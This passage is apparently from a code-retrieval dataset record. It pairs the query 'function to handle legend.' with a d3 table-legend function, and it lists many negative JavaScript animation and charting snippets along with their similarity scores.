midPoint, lineTO, isDashed, strokeColor, lineWidth, arrowDir, middleArrowHeadReq) {\n\t\tvar headlen = 10;\t// length of head in pixels\n\t\tobj.paint= function(_director, time) {\t\n\t\t\tvar dx = lineTO.x - moveTO.x;\n\t\t\tvar dy = lineTO.y - moveTO.y;\n\t\t\tif(dx == 0 && dy == 0) return;\n\t\t\tvar angle = Math.atan2(dy,dx);\n\t\t\tvar canvas = _director.ctx;\n\t\t\tcanvas.strokeStyle = strokeColor;\n\t\t\tcanvas.fillStyle = strokeColor;\n\t\t\tcanvas.lineWidth = lineWidth;\n\t\t\tcanvas.beginPath();\n\t\t\tif(arrowDir == 'leftArrowHead') {\n\t\t\t\tcanvas.moveTo( moveTO.x, moveTO.y);\t\t\t\n\t\t\t\tcanvas.lineTo( moveTO.x + headlen * Math.cos(angle-Math.PI/8), moveTO.y + headlen*Math.sin(angle-Math.PI/8));\n\t\t\t\tcanvas.lineTo( moveTO.x + headlen * Math.cos(angle+Math.PI/8), moveTO.y + headlen*Math.sin(angle+Math.PI/8));\n\t\t\t\tcanvas.fill();\n\t\t\t} else if(arrowDir == 'rightArrowHead'){\n\t\t\t\tcanvas.moveTo( lineTO.x, lineTO.y);\n\t\t\t\tcanvas.lineTo( lineTO.x - headlen * Math.cos(angle-Math.PI/8), lineTO.y - headlen*Math.sin(angle-Math.PI/8));\n\t\t\t\tcanvas.lineTo( lineTO.x - headlen * Math.cos(angle+Math.PI/8), lineTO.y - headlen*Math.sin(angle+Math.PI/8));\n\t\t\t\tcanvas.fill();\n\t\t\t}\t\t\n\t\t\tif(middleArrowHeadReq) {\n\t\t\t\tvar dx = midPoint.x - moveTO.x;\n\t\t\t\tvar dy = midPoint.y - moveTO.y;\n\t\t\t\tvar angle = Math.atan2(dy,dx);\n\t\t\t\tcanvas.fillStyle = strokeColor;\n\t\t\t\tcanvas.moveTo( (midPoint.x - 5), midPoint.y);\n\t\t\t\tcanvas.lineTo( (midPoint.x - 5) - headlen * Math.cos(angle-Math.PI/10), midPoint.y - headlen*Math.sin(angle-Math.PI/10));\n\t\t\t\tcanvas.lineTo( (midPoint.x - 5) - headlen * Math.cos(angle+Math.PI/10), midPoint.y - headlen*Math.sin(angle+Math.PI/10));\n\t\t\t\tcanvas.fill();\n\t\t\t}\n\t\t\t\n\t\t\tcanvas.moveTo(moveTO.x, moveTO.y);\n\t\t\tcanvas.lineTo(lineTO.x, lineTO.y);\n\t\t\n\t\t\t//canvas.lineJoin = 'round';\n\t\t\t//canvas.lineCap = 'round';\n\t\t\t//canvas.closePath();\t\n\t\t\tcanvas.stroke();\t\n\t\t};\t\n\t}", "animate() {\n\t\tlet self = this,\n\t\t\theight = this.height,\n\t\t\tdotHeight = this.randomNumber;\n\n\t\tif (this.isBonus) {\n\t\t\tthis.move = setTimeout(function moving() {\n\t\t\t\tif (!self.parent.paused) {\n\t\t\t\t\tif (self.pos+dotHeight > height){\n\t\t\t\t\t\tclearInterval(self.move);\n\t\t\t\t\t\tself.remove();\n\t\t\t\t\t} else {\n\t\t\t\t\t\tself.pos++;\n\t\t\t\t\t\tself.ctx.style.bottom = self.pos + 'px';\n\t\t\t\t\t\tself.move = setTimeout(moving, 1000/250);\n\t\t\t\t\t}\n\t\t\t\t} else {\n\t\t\t\t\tclearInterval(self.move);\n\t\t\t\t} \n\t\t\t}, 1000/250);\n\t\t} else {\n\t\t\tthis.move = setTimeout(function moving() {\n\t\t\t\tif (!self.parent.paused) {\n\t\t\t\t\tif (self.pos+dotHeight > height){\n\t\t\t\t\t\tclearInterval(self.move);\n\t\t\t\t\t\tself.remove();\n\t\t\t\t\t} else {\n\t\t\t\t\t\tself.pos++;\n\t\t\t\t\t\tself.ctx.style.bottom = self.pos + 'px';\n\t\t\t\t\t\tself.move = setTimeout(moving, 1000/self.parent.fallingSpeed);\n\t\t\t\t\t}\n\t\t\t\t} else {\n\t\t\t\t\tclearInterval(self.move);\n\t\t\t\t} \n\t\t\t}, 1000/self.parent.fallingSpeed);\n\t\t}\n\t}", "function animate() {\n draw();\n requestAnimationFrame(animate);\n}", "function animate() {\n draw();\n requestAnimationFrame(animate);\n}", "function animate() {\n draw();\n requestAnimationFrame(animate);\n}", "function smlAsteroidsA() {\n var smlRockA = paper.path(\"M -25 550 l 0 7 l 0 5 l 2 1 l 2 0 l 2 0 l 3 -2 l 0 -4 l 1 -1 l 0 -4 l -3 1 l -1 -4 Z\");\n smlRockA.attr({ fill: 'black', stroke: 'white' }); \n var smlRockC = paper.path(\"M 400 -25 l 0 7 l 0 5 l 2 1 l 2 0 l 2 0 l 3 -2 l 0 -4 l 1 -1 l 0 -4 l -3 1 l -1 -4 Z\");\n smlRockC.attr({ fill: 'black', stroke: 'white' }); \n smlRockA.animate({\n path: \"M 100 -25 l 0 7 l 0 5 l 2 1 l 2 0 l 2 0 l 3 -2 l 0 -4 l 1 -1 l 0 -4 l -3 1 l -1 -4 Z\",\n transform: 'r' + 240\n }, 5000, function () {\n smlRockA.remove();\n smlRockC.animate({\n path: \"M -25 400 l 0 7 l 0 5 l 2 1 l 2 0 l 2 0 l 3 -2 l 0 -4 l 1 -1 l 0 -4 l -3 1 l -1 -4 Z\",\n transform: 'r' + 240\n }, 5000, function () {\n smlRockC.remove();\n \n });\n }\n\n )\n }", "function animate_NAff() {\n defo= (defo+1.0) % 180\n loadVertices();\n}", "function painter (pages) {\n\n}", "function transitionSplit(d, i) {\n d3.select(this)\n .transition().duration(1000)\n .attrTween(\"d\", tweenArc({\n innerRadius: i & 1 ? innerRadius : (innerRadius + outerRadius) / 2,\n outerRadius: i & 1 ? (innerRadius + outerRadius) / 2 : outerRadius\n }))\n .each(\"end\", transitionRotate);\n }", "arcTween(a) {\n var i = d3.interpolate(this._current, a);\n this._current = i(0);\n return (t) => this.arc(i(t)) ;\n }", "function animate(){\r\n\t\t\t\r\n\t\t\tif (t == dur){\r\n\t\t\t\tif(cb) cb();\r\n\t\t\t\treturn;\r\n\t\t\t};\r\n\t\t\t\r\n\t\t\tel.style.opacity = Tween.easeInOutQuad(t,start,change,dur);\r\n\t\t\tt++;\r\n\t\t\t\r\n\t\t\tt = t % (dur*2);\r\n\t\t\t\r\n\t\t\tsetTimeout(function(){\r\n\t\t\t\tanimate();\r\n\t\t\t},20)\r\n\t\t}", "_explodeSlice() {\n if (this._explode != 0) {\n var arc = this._angleExtent;\n var angle = this._angleStart;\n var fAngle = angle + arc / 2;\n var radian = (360 - fAngle) * dvt.Math.RADS_PER_DEGREE;\n var tilt = this._pieChart.is3D() ? DvtChartPieSlice.THREED_TILT : 1;\n\n var explodeOffset = this._explode * this._pieChart.__calcMaxExplodeDistance();\n this._explodeOffsetX = Math.cos(radian) * explodeOffset;\n this._explodeOffsetY = Math.sin(radian) * tilt * explodeOffset;\n\n // To work around , in the 2D pie case, we need to poke the\n // DOM element that contains the shadow filter that is applied to the pie slices.\n // However, due to , just poking the DOM also causes jitter in the\n // slice animation. To get rid of the jitter, we round the amount of the translation we\n // apply to the pie slice and we also shorten the duration of the animation to visually smooth\n // out the result of the rounding.\n // \n if (dvt.Agent.browser === 'safari' || dvt.Agent.engine === 'blink') {\n this._explodeOffsetX = Math.round(this._explodeOffsetX);\n this._explodeOffsetY = Math.round(this._explodeOffsetY);\n }\n } else {\n this._explodeOffsetX = 0;\n this._explodeOffsetY = 0;\n }\n\n // now update each surface\n if (this._topSurface) {\n var offsets =\n this._pieChart.is3D() && this._topSurface[0].getSelectionOffset\n ? this._topSurface[0].getSelectionOffset()\n : [];\n DvtChartPieSlice._translateShapes(\n this._topSurface,\n offsets[0] ? offsets[0] + this._explodeOffsetX : this._explodeOffsetX,\n offsets[1] ? offsets[1] + this._explodeOffsetY : this._explodeOffsetY\n );\n }\n\n if (this._rightSurface) {\n DvtChartPieSlice._translateShapes(\n this._rightSurface,\n this._explodeOffsetX,\n this._explodeOffsetY\n );\n }\n\n if (this._leftSurface) {\n DvtChartPieSlice._translateShapes(\n this._leftSurface,\n this._explodeOffsetX,\n this._explodeOffsetY\n );\n }\n\n if (this._crustSurface) {\n DvtChartPieSlice._translateShapes(\n this._crustSurface,\n this._explodeOffsetX,\n this._explodeOffsetY\n );\n }\n\n // update the feeler line\n if (this._hasFeeler) {\n // get current starting x and y, and then update the feeler line only\n var oldStartX = this._outsideFeelerStart.x;\n var oldStartY = this._outsideFeelerStart.y;\n\n var newStartX = oldStartX + this._explodeOffsetX;\n var newStartY = oldStartY + this._explodeOffsetY;\n\n this._feelerRad.setX1(newStartX);\n this._feelerRad.setY1(newStartY);\n\n var oldMidX = this._outsideFeelerMid.x;\n var oldMidY = this._outsideFeelerMid.y;\n\n //The midpoint of the feeler has to be updated if the new radial feeler is pointing towards an opposite direction;\n //otherwise, the feeler will go through the slice.\n //The easy solution is to set the x/y of the midPt to be the same as startPt.\n if (DvtChartPieSlice.oppositeDir(oldMidX, oldStartX, newStartX)) {\n this._feelerRad.setX2(newStartX);\n this._feelerHoriz.setX1(newStartX);\n } else {\n this._feelerRad.setX2(oldMidX);\n this._feelerHoriz.setX1(oldMidX);\n }\n\n if (DvtChartPieSlice.oppositeDir(oldMidY, oldStartY, newStartY)) {\n this._feelerRad.setY2(newStartY);\n this._feelerHoriz.setY1(newStartY);\n } else {\n this._feelerRad.setY2(oldMidY);\n this._feelerHoriz.setY1(oldMidY);\n }\n }\n\n //update the label position\n if (this._sliceLabel && !this._hasFeeler) {\n this._sliceLabel.setTranslate(this._explodeOffsetX, this._explodeOffsetY);\n }\n }", "function animate(timestamp) {\n oneStep();\n animationId = requestAnimationFrame(animate);\n}", "createTween() {\n // If more than one object exists on the frame, or if there is only one path, create a clip from those objects\n var numClips = this.clips.length;\n var numPaths = this.paths.length;\n\n if (numClips === 0 && numPaths === 1 || numClips + numPaths > 1) {\n var allObjects = this.paths.concat(this.clips);\n\n var center = this.project.selection.view._getObjectsBounds(allObjects).center;\n\n var clip = new Wick.Clip({\n objects: this.paths.concat(this.clips),\n transformation: new Wick.Transformation({\n x: center.x,\n y: center.y\n })\n });\n this.addClip(clip);\n } // Create the tween (if there's not already a tween at the current playhead position)\n\n\n var playheadPosition = this._getRelativePlayheadPosition();\n\n if (!this.getTweenAtPosition(playheadPosition)) {\n var clip = this.clips[0];\n this.addTween(new Wick.Tween({\n playheadPosition: playheadPosition,\n transformation: clip ? clip.transformation.copy() : new Wick.Transformation()\n }));\n }\n }", "function draw(){\r\n background(0);\r\n numOfSegments = map(mouseY,0,400,12,180);\r\n stepAngle = 360/numOfSegments;\r\n // Allows us to increase and decrease radius as we move the mouse\r\n radius = map(mouseX,0,400,50,200);\r\n\r\n fill(360,100,100);\r\n push();\r\n //translate(250,250);\r\n beginShape(TRIANGLE_FAN);\r\n vertex(250,250);\r\n\r\n // Starting for loop with a variable which represents alpha\r\n for(let a=0; a<=360; a += stepAngle){\r\n let vx= (radius * cos(a)) +250;\r\n let vy= (radius *sin(a)) +250;\r\n fill(a,100,100);\r\n vertex(vx,vy);\r\n }\r\n endShape();\r\n pop();\r\n} // End of draw function", "function step() {\n if(anim.pause) return true;\n anim.pause = anim.pause || anim.index === anim.dest;\n\n // Perform the update\n update(iters[anim.index]);\n ager_progress.value(anim.index);\n\n if(anim.pause) return true;\n\n // Advance to the next iteration\n anim.index += anim.fwd ? 1 : -1;\n anim.index %= iters.length;\n\n d3.timer(step);\n return true;\n} // step()", "updateElements(){\n/*\n // PATHS\n this.itemg.selectAll(\".chart__slice\")\n .style('opacity', 0)\n .data(this.pie(this.data), d => d.data[this.cfg.key])\n .transition(this.transition)\n .delay((d,i) => i * this.cfg.transition.duration)\n .attrTween('d', d => {\n const i = d3.interpolate(d.startAngle+0.1, d.endAngle);\n return t => {\n d.endAngle = i(t); \n return this.arc(d)\n }\n })\n .style(\"fill\", this.cfg.color.default)\n .style('opacity', 1);\n*/\n }", "function toggleAnimation() {\n\t\n\t\n\t// HORIZONTAL WATER ANIMATIONS USING SVG.JS\n\t\t\n\tvar incomingPipeHorizontal = draw.rect(1,18).attr ({\n\t\t'fill': '#00B0EA', \n\t\tx: 151, \n\t\ty: 151\n\t});\n\t\n\tincomingPipeHorizontal.animate().size(148,18);\n\t\n\tvar incomingPipeVertical = draw.rect(18,0.01).attr ({ \n\t\t'fill': '#00B0EA', \n\t\tx: 281, \n\t\ty: 168\n\t});\n\t\n\tincomingPipeVertical.animate({delay: '1s'}).size(18,280);\n\t\n\tvar ductRect = draw.rect(0.01,23).attr ({ \n\t\tx: 401, \n\t\ty: 381, \n\t\t'fill': '#00B0EA'\n\t});\n\t\n\tductRect.animate(4600,'',2500).size(307,23)\n\t\n\tductTriangle1 = draw.polygon([[401,404],[401,433],[401.1,401]]).attr ({ \n\t\t'fill': '#00B0EA'\n\t});\n\t\n\tductTriangle1.animate(1000,'',2500).size(70,21.5);\n\t\n\tductTriangle2 = draw.polygon([[650.5,401],[652.1,400],[652.1,406.5]]).attr ({\n\t\t'fill':'#00B0EA'\n\t});\n\t\n\tductTriangle2.animate(920,'',6210).size(57.8,23.3);\n\t\n\t\n\t\n\tvar outgoingPipeHorizontal = draw.rect(0.01,18).attr ({\n\t\t'fill': '#00B0EA',\n\t\tx: 891 ,\n\t\ty: 391 \n\t});\n\t\n\toutgoingPipeHorizontal.animate({delay: '7.6s'}).size(108,18);\n\t\n\tvar outgoingPipeVertical = draw.rect(18,0.01).attr ({\n\t\t'fill': '#00B0EA',\n\t\tx: 981 ,\n\t\ty: 409\n\t});\n\t\n\toutgoingPipeVertical.animate({delay: '8.6s'}).size(18,139);\n\t\n\t\t\n\t\t\n\t// VERTICAL WATER ANIMATIONS USING JQUERY.JS\n\t\t\n\t$('#tankLeft')\n\t\t.animate({'height': 0},2000)\n\t\t.animate({'height': 150, 'top': 405}, 1000)\n\t\n\t$('#verticalPipe1')\n\t\t.animate({'height': 0}, 3200)\n\t\t.animate({'height': 145, 'top': 341},1000)\n\t\n\t$('#verticalPipe2')\n\t\t.animate({'height': 0}, 4200)\n\t\t.animate({'height': 115, 'top': 371},1000)\n\t\n\t$('#verticalPipe3')\n\t\t.animate({'height': 0}, 5200)\n\t\t.animate({'height': 85, 'top': 401},1000)\n\t\n\t$('#verticalPipe4')\n\t\t.animate({'height': 0}, 6200)\n\t\t.animate({'height': 55, 'top': 431},1000)\n\t\t\n\t\n\t$('#tankRight')\n\t\t.animate({'height': 0},7200)\n\t\t.animate({'height': 150, 'top': 405}, 1000)\n\t\n\t$('#measureTank')\n\t\t.animate({'height': 0},9600)\n\t\t.animate({'height': 60, 'top': 596}, 1000)\n\t\n\t\n}", "function testPath(){\t\t\t\t\t\t\t\t\t\n\n\nvar someObj = {};\n\nvar testPath = g.selectAll(\"path\");\n//testPath.remove();\ntestPath.forEach(function(el) {\n\nvar lenB = el.getTotalLength();\n\nvar defaultColor = el.attr(\"fill\");\n\nvar animationTime = 1500;\n\nel.attr({\nid: \"squiggle\",\nfill: \"#fff\",\nstrokeWidth: \"3\",\nstroke: defaultColor,\nstrokeMiterLimit: \"2\",\n\"stroke-dasharray\": lenB + \" \" + lenB,\n\"stroke-dashoffset\": lenB\n}).animate({\"stroke-dashoffset\": 0}, animationTime ,mina.easeinout,\n\n//Callback\n function(){\n\nel.attr({fill: \"#fff\"}).animate({fill:\"rgb(93, 189, 181)\", stroke:defaultColor}, animationTime,mina.easeinout, loadedEl);\n\n}\n//Callback\n);\n\n//console.log(el.attr('fill'))\n});\n\n//console.log( testPath, someObj );\n\n}", "function drawCross(item){\n\n var canvas = item;\n\n //set the elemen data attr to the current counter\n $(item).attr(\"data-counter\", \"X\");\n\n //get the rendering context\n var ctx = canvas.getContext('2d');\n // ctx.fillStyle = \"#ff5252\";\n ctx.lineWidth = 8;\n ctx.lineCap = 'round';\n ctx.strokeStyle = \"#ff5252\";\n\n //Create a new path, future commands will apply to this path until \"closePath()\" is called\n ctx.beginPath();\n //First line / Counter variable\n var firstLineLog = 20;\n //begin drawing the first line from the top left corner\n function firstLineDraw(){\n\n if(firstLineLog === 90) {\n clearInterval(lineOneAnimation);\n ctx.closePath();\n lineTwoAnimation = setInterval(secondLineDraw, 20);\n }\n //Specify start path\n ctx.moveTo(10,10);\n //move to the default start location\n ctx.lineTo(firstLineLog, firstLineLog);\n //fill in the line using stroke()\n ctx.stroke();\n //add 10px to move the line for the next stroke\n firstLineLog += 10;\n }\n //spcify an interval to draw the line for a nice animation\n lineOneAnimation = setInterval(firstLineDraw, 20);\n\n //#### second Line ####\n //store first move x,y\n var secondLineLogOne = 20;\n var secondLineLogTwo = 80;\n\n function secondLineDraw(){\n\n //when the line is finished drawing stop the interval and close the path.\n if(secondLineLogTwo === 10) {\n clearInterval(lineTwoAnimation);\n ctx.closePath();\n }\n\n //Specify start path\n ctx.moveTo(90,10);\n ctx.lineTo(secondLineLogTwo, secondLineLogOne);\n ctx.stroke();\n secondLineLogOne += 10;\n secondLineLogTwo -= 10;\n\n };\n\n }", "updateAnimation() {\n return;\n }", "function spiralExpand() {\n // Mapping colour ranges for interpolation:\n let changeX = map(mouseX, 0, width, 17, 360);\n let changeY = map(mouseY, 0, width, 10, 235);\n \n // Setting colours for interpolation:\n let fromColour = color(changeX, 100, 100); // Start of range\n let toColour = color(changeY, 100, 100); // End of range\n\n // A set of spirals are needed to restrict the growth rate of the spiral width. i.e. If there is only one spiral variable, its width would continuously grow.\n let spiralOne = 0; // Inner Spiral\n let spiralTwo = 0; // Outer Spiral\n let step = 10; // The maximum circumference of the Spiral\n let spiralWidth = 1.5; \n let dynamicWidth = spiralWidth / 60; // What gives the spiral its \"body\". Not as evident in this example, must be played around to fully see. For this instance, it makes the chromatics sharper and bolder.\n \n push();\n beginShape(TRIANGLE_STRIP);\n translate(width/6, height/2);\n\n for (let i = 0; i <= 360 ; i++) { // 360 = Diameter of Spiral\n spiralOne += step; // Generate the Spiral effect (Inner Spiral)\n spiralWidth += dynamicWidth; // Generate the \"body\" of the Spiral\n spiralTwo = spiralOne + spiralWidth; // Generate the restriction of the growing width (Outer Spiral)\n \n let rotationalSpeed = PI / rotateSpeed; // PI = Represents the circumference of the Spiral\n\n let spiralOneX = spiralOne * sin(rotationalSpeed * i * t);\n let spiralOneY = spiralOne * cos(rotationalSpeed * i * t);\n\n let spiralTwoX = spiralTwo * sin(rotationalSpeed * i * t);\n let spiralTwoY = spiralTwo * cos(rotationalSpeed * i * t);\n \n fill(lerpColor(fromColour, toColour, i / 360)); \n vertex(spiralOneX, spiralOneY);\n vertex(spiralTwoX, spiralTwoY);\n }\n endShape();\n pop();\n\n t = t + 0.005; // Animate Spiral\n }", "function WalkTo(goal)\n{\n\tParallel.call(this, new MoveTo(goal), new PlayAnimation(\"my_animation\"));\n}", "function iterator ()\n {\n for (var i=0; i<obj.data.length; ++i) {\n \n // This produces a very slight easing effect\n obj.data[i] = data[i] * RG.Effects.getEasingMultiplier(frames, numFrame);\n }\n \n RGraph.clear(obj.canvas);\n RGraph.redrawCanvas(obj.canvas);\n \n if (++numFrame < frames) {\n RGraph.Effects.updateCanvas(iterator);\n } else {\n callback(obj);\n }\n }", "function inAC2(s) { s.draw('100% - 545', '100% - 305', 0.6, {easing: ease.ease('elastic-out', 1, 0.3)}); }", "function paintDrops(){\r\n var $p1 = $(\".paint-drip1\");\r\n var p1Y = $p1.position().top;\r\n var $p2 = $(\".paint-drip2\");\r\n var p2Y = $p2.position().top;\r\n var $p3 = $(\".paint-drip3\");\r\n var p3Y = $p3.position().top;\r\n\r\n //have paint drip an arbitary amount and then dissapear\r\n TweenMax.set($p1,{scaleX:0.1,scaleY:0.1});\r\n TweenMax.set($p2,{scaleX:0.1,scaleY:0.1});\r\n TweenMax.set($p3,{scaleX:0.1,scaleY:0.1});\r\n TweenMax.set($(\"#paint-drips-container\"),{opacity:1,delay:3.5});\r\n\r\n var tl = new TimelineMax({repeat:1,delay:3.5});\r\n tl.to($p1,1.9,{y:p1Y + 300,ease: Sine.easeIn,delay:1.1});\r\n tl.to($p1,1,{scaleX:1,scaleY:1,ease:Sine.easeOut, delay:0.3},0);\r\n tl.to($p1,0.6,{opacity:0, delay:2.5},0);\r\n\r\n tl.to($p2,1.6,{y:p2Y + 275,ease: Sine.easeIn, delay:0.9},0);\r\n tl.to($p2,1,{scaleX:1,scaleY:1,ease:Sine.easeOut,delay:0.2},0);\r\n tl.to($p2,0.6,{opacity:0, delay:2},0);\r\n\r\n tl.to($p3,1.5,{y:p3Y + 134,ease: Sine.easeIn,delay:0.4},0);\r\n tl.to($p3,0.6,{scaleX:1,scaleY:1,ease:Sine.easeOut},0);\r\n tl.to($p3,0.6,{opacity:0, delay:1.5},0);\r\n\r\n }" ]
[ "0.62822205", "0.5974023", "0.5913321", "0.5899504", "0.5849752", "0.5849752", "0.5769894", "0.57367426", "0.5731433", "0.5717362", "0.5716319", "0.5689167", "0.56422585", "0.5626697", "0.5606971", "0.5550599", "0.55501115", "0.55461687", "0.554024", "0.55206287", "0.5517621", "0.55159914", "0.5499327", "0.5487217", "0.5480552", "0.5470419", "0.5452824", "0.54512787", "0.54499084", "0.5446907", "0.5441171", "0.53984904", "0.5391307", "0.5375241", "0.535597", "0.5316181", "0.5315823", "0.53127044", "0.5312252", "0.5308983", "0.53032887", "0.5303077", "0.528736", "0.5286801", "0.5283109", "0.52698034", "0.52547044", "0.5249536", "0.52421117", "0.52369595", "0.52326834", "0.5232463", "0.52296317", "0.5229631", "0.5220958", "0.5218366", "0.5214005", "0.52105683", "0.5201386", "0.51839495", "0.51786244", "0.5176664", "0.5165473", "0.5158332", "0.51553124", "0.51459944", "0.5141461", "0.51391584", "0.51352775", "0.5128555", "0.51243865", "0.5123339", "0.51220137", "0.51205397", "0.5120199", "0.5114764", "0.51139", "0.5109328", "0.5109328", "0.5109328", "0.5103311", "0.5094481", "0.5091708", "0.5088882", "0.5087979", "0.50804806", "0.50799024", "0.5072929", "0.5071242", "0.5067884", "0.50671774", "0.5065115", "0.50631", "0.50590813", "0.50565565", "0.505558", "0.5049452", "0.50494283", "0.5045498", "0.50448596", "0.50440824" ]
0.0
-1
function to handle legend.
function legend(lD){ var leg = {}; // create table for legend. var legend = d3.select(id).append("table").attr('class','legend'); // create one row per segment. var tr = legend.append("tbody").selectAll("tr").data(lD).enter().append("tr"); // create the first column for each segment. tr.append("td").append("svg").attr("width", '16').attr("height", '16').append("rect") .attr("width", '16').attr("height", '16') .attr("fill",function(d){ return segColor(d.type); }); // create the second column for each segment. tr.append("td").text(function(d){ return d.type;}); // create the third column for each segment. tr.append("td").attr("class",'legendFreq') .text(function(d){ return d3.format(",")(d.size);}); // create the fourth column for each segment. tr.append("td").attr("class",'legendPerc') .text(function(d){ return getLegend(d,lD);}); // Utility function to be used to update the legend. leg.update = function(nD){ // update the data attached to the row elements. var l = legend.select("tbody").selectAll("tr").data(nD); // update the frequencies. l.select(".legendFreq").text(function(d){ return d3.format(",")(d.size);}); // update the percentage column. l.select(".legendPerc").text(function(d){ return getLegend(d,nD);}); } function getLegend(d,aD){ // Utility function to compute percentage. return d3.format("%")(d.size/(iTotal+cTotal)); } return leg; }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "addLegend () {\n \n }", "function createMapLegend() {\n\n}", "function legendOut(curYr, begYr, endYr,posY){\r\n\r\nvar curtxt = \"Unemployment Rate: \" + curYr;\r\nvar prevtxt = \"Unemployment Rate: \" + (curYr - 1);\r\nvar midtxt = \"Midpoint of Unemployment Rate, \" + begYr + \"-\" + endYr;\r\nvar rngtxt = \"Range of Unemployment Rate, \" + begYr + \"-\" + endYr;\r\n\r\nvar outArr = [ {\"color\" : \"red\",\"text\" : curtxt, \"ypos\" : posY},\r\n\t\t\t{\"color\" : 'brown',\"text\" : prevtxt, \"ypos\" : posY + 10},\r\n\t\t\t{\"color\" : 'black', \"text\" : midtxt, \"ypos\" : posY + 20},\r\n\t\t\t{\"color\" : 'blue', \"text\" : rngtxt, \"ypos\" : posY + 30} ];\r\n\r\nreturn outArr;\r\n}", "function legend(types){\n\n //color guide\n colors[c].setAlpha(20);\n fill(colors[c]);\n colors[c].setAlpha(255);\n stroke(colors[c]);\n ellipse(width-40, h,20,20);\n\n //text\n fill('black');\n noStroke();\n text(types, width-60,h+5);\n c++;\n h+=25;\n}", "_drawLegend() {\n if (this.displayOptions.legend.position !== scada.chart.AreaPosition.NONE) {\n const layout = this._chartLayout;\n const legend = this.displayOptions.legend;\n\n let trendCnt = this.chartData.trends.length;\n let lineCnt = Math.ceil(trendCnt / legend.columnCount);\n let useStatusColor = this._getUseStatusColor();\n\n let columnMarginTop = scada.chart.DisplayOptions.getMargin(legend.columnMargin, 0);\n let columnMarginRight = scada.chart.DisplayOptions.getMargin(legend.columnMargin, 1);\n let columnMarginLeft = scada.chart.DisplayOptions.getMargin(legend.columnMargin, 3);\n\n let fullColumnWidth = legend.columnWidth + columnMarginLeft + columnMarginRight;\n let lineXOffset = layout.legendAreaRect.left + layout.canvasXOffset + columnMarginLeft;\n let lineYOffset = layout.legendAreaRect.top + layout.canvasYOffset + columnMarginTop;\n\n this._context.textAlign = \"left\";\n this._context.textBaseline = \"middle\";\n this._context.font = legend.fontSize + \"px \" + this.displayOptions.chartArea.fontName;\n\n for (let trendInd = 0; trendInd < trendCnt; trendInd++) {\n let trend = this.chartData.trends[trendInd];\n let columnIndex = Math.trunc(trendInd / lineCnt);\n let lineIndex = trendInd % lineCnt;\n let lineX = fullColumnWidth * columnIndex + lineXOffset;\n let lineY = legend.lineHeight * lineIndex + lineYOffset;\n let iconX = lineX + 0.5;\n let iconY = lineY + (legend.lineHeight - legend.iconHeight) / 2 - 0.5;\n let lblX = lineX + legend.iconWidth + legend.fontSize / 2;\n let lblY = lineY + legend.lineHeight / 2;\n\n if (!useStatusColor) {\n this._setColor(trend.color);\n this._context.fillRect(iconX, iconY, legend.iconWidth, legend.iconHeight);\n this._setColor(legend.foreColor);\n this._context.strokeRect(iconX, iconY, legend.iconWidth, legend.iconHeight);\n }\n\n this._context.fillText(trend.caption, lblX, lblY);\n }\n }\n }", "handleLegend() {\n const status = this.state.toggleLegend;\n return this.state.legend[status];\n }", "function drawlegend() {\n legend\n .append('rect')\n .attr('class', 'legend')\n .attr('height', 50)\n .attr('width', 220)\n .attr('fill', 'white')\n .style('stroke-width', 2)\n .style('stroke', 'rgba(0,0,0,0.25)')\n\n legend.append('text')\n .attr(\"x\", 5)\n .attr(\"y\", 15)\n .attr('font-size', 12)\n .attr('font-family', 'Anaheim')\n .text('X Axis: Period (Sec) [logarithmic scale]')\n legend.append('text')\n .attr(\"x\", 5)\n .attr(\"y\", 30)\n .attr('font-size', 12)\n .attr('font-family', 'Anaheim')\n .text('Y Axis: log(Period Derivative) (Sec/sec)')\n legend\n .append(\"circle\")\n .attr('cx', 10)\n .attr('cy', 41)\n .attr('r', 3)\n .attr(\"opacity\", 0.75)\n .style('fill', '#FF3D00')\n legend.append('text')\n .attr(\"x\", 18)\n .attr(\"y\", 45)\n .attr('font-size', 12)\n .attr('font-family', 'Anaheim')\n .text('Binary')\n legend\n .append(\"circle\")\n .attr('cx', 80)\n .attr('cy', 41)\n .attr('r', 3)\n .attr(\"opacity\", 0.75)\n .style('fill', '#3D5AFE')\n legend.append('text')\n .attr(\"x\", 88)\n .attr(\"y\", 45)\n .attr('font-size', 12)\n .attr('font-family', 'Anaheim')\n .text('Non Binary')\n\n}", "function legendClickHandler(d, i) {\n\tsn.runtime.excludeSources.toggle(d.source);\n\tregenerateChart(sn.runtime.powerIOAreaChart);\n}", "function legend() {\n obj.extend(config_, defaults_);\n return legend;\n }", "get legendLabel() {\r\n return this.i.legendLabel;\r\n }", "legendChar(x,y){\n if(this.legend[this.getChar(x,y)] != undefined){\n return(this.legend[this.getChar(x,y)]);\n }\n else{\n return({color: this.backgcolor, actor:0, solid: 1});\n }\n }", "function legendClickHandler(d, i) {\n\tsn.runtime.excludeSources.toggle(d.source);\n\tregenerateChart();\n}", "function legend(lD){\n var leg = {};\n var stopForNan = false;\n \n // create table for legend.\n var legend = d3.select(legendId).append(\"table\").attr('class','legend');\n \n // create one row per segment.\n var tr = legend.append(\"tbody\").selectAll(\"tr\").data(lD).enter().append(\"tr\");\n \n // create the first column for each segment.\n tr.append(\"td\").append(\"svg\").attr(\"width\", '16').attr(\"height\", '16').append(\"rect\")\n .attr(\"width\", '16').attr(\"height\", '16')\n\t\t\t.attr(\"fill\",function(d){ return matchColor(d.type); });\n \n // create the second column for each segment.\n tr.append(\"td\").text(function(d){ return d.type;});\n\n // create the third column for each segment.\n tr.append(\"td\").attr(\"class\",'legendFreq')\n .text(function(d){ return d3.format(\",\")(d.total);});\n\n // create the fourth column for each segment.\n tr.append(\"td\").attr(\"class\",'legendPerc')\n .text(function(d){ return getLegend(d,lD);});\n\n // Utility function to be used to update the legend.\n leg.update = function(nD){\n // update the data attached to the row elements.\n var l = legend.select(\"tbody\").selectAll(\"tr\").data(nD);\n\n // update the frequencies.\n l.select(\".legendFreq\").text(function(d){ return d3.format(\",\")(d.total);});\n\n // update the percentage column.\n l.select(\".legendPerc\").text(function(d){ return getLegend(d,nD);}); \n }\n \n function getLegend(d,aD){ // Utility function to compute percentage.\n \tvar percentage = d.total/d3.sum(aD.map(function(v){ return v.total; }));\n \tif (isNaN(percentage)) {\n \t\tpercentage = 0;\n \t\tstopForNan = true;\n \t}\n return d3.format(\"%\")(percentage);\n }\n //alert(namesAndColors);\n legendExists = true;\n if (stopForNan) {\n removePieAndLegend();\n }\n return leg;\n }", "drawLegend() {\n // chart object\n let chart = this,\n v = chart.value,\n c = chart.colour;\n \n // data values for last readable value\n const lines = chart.data.map(d => {\n let obj = {},\n vs = 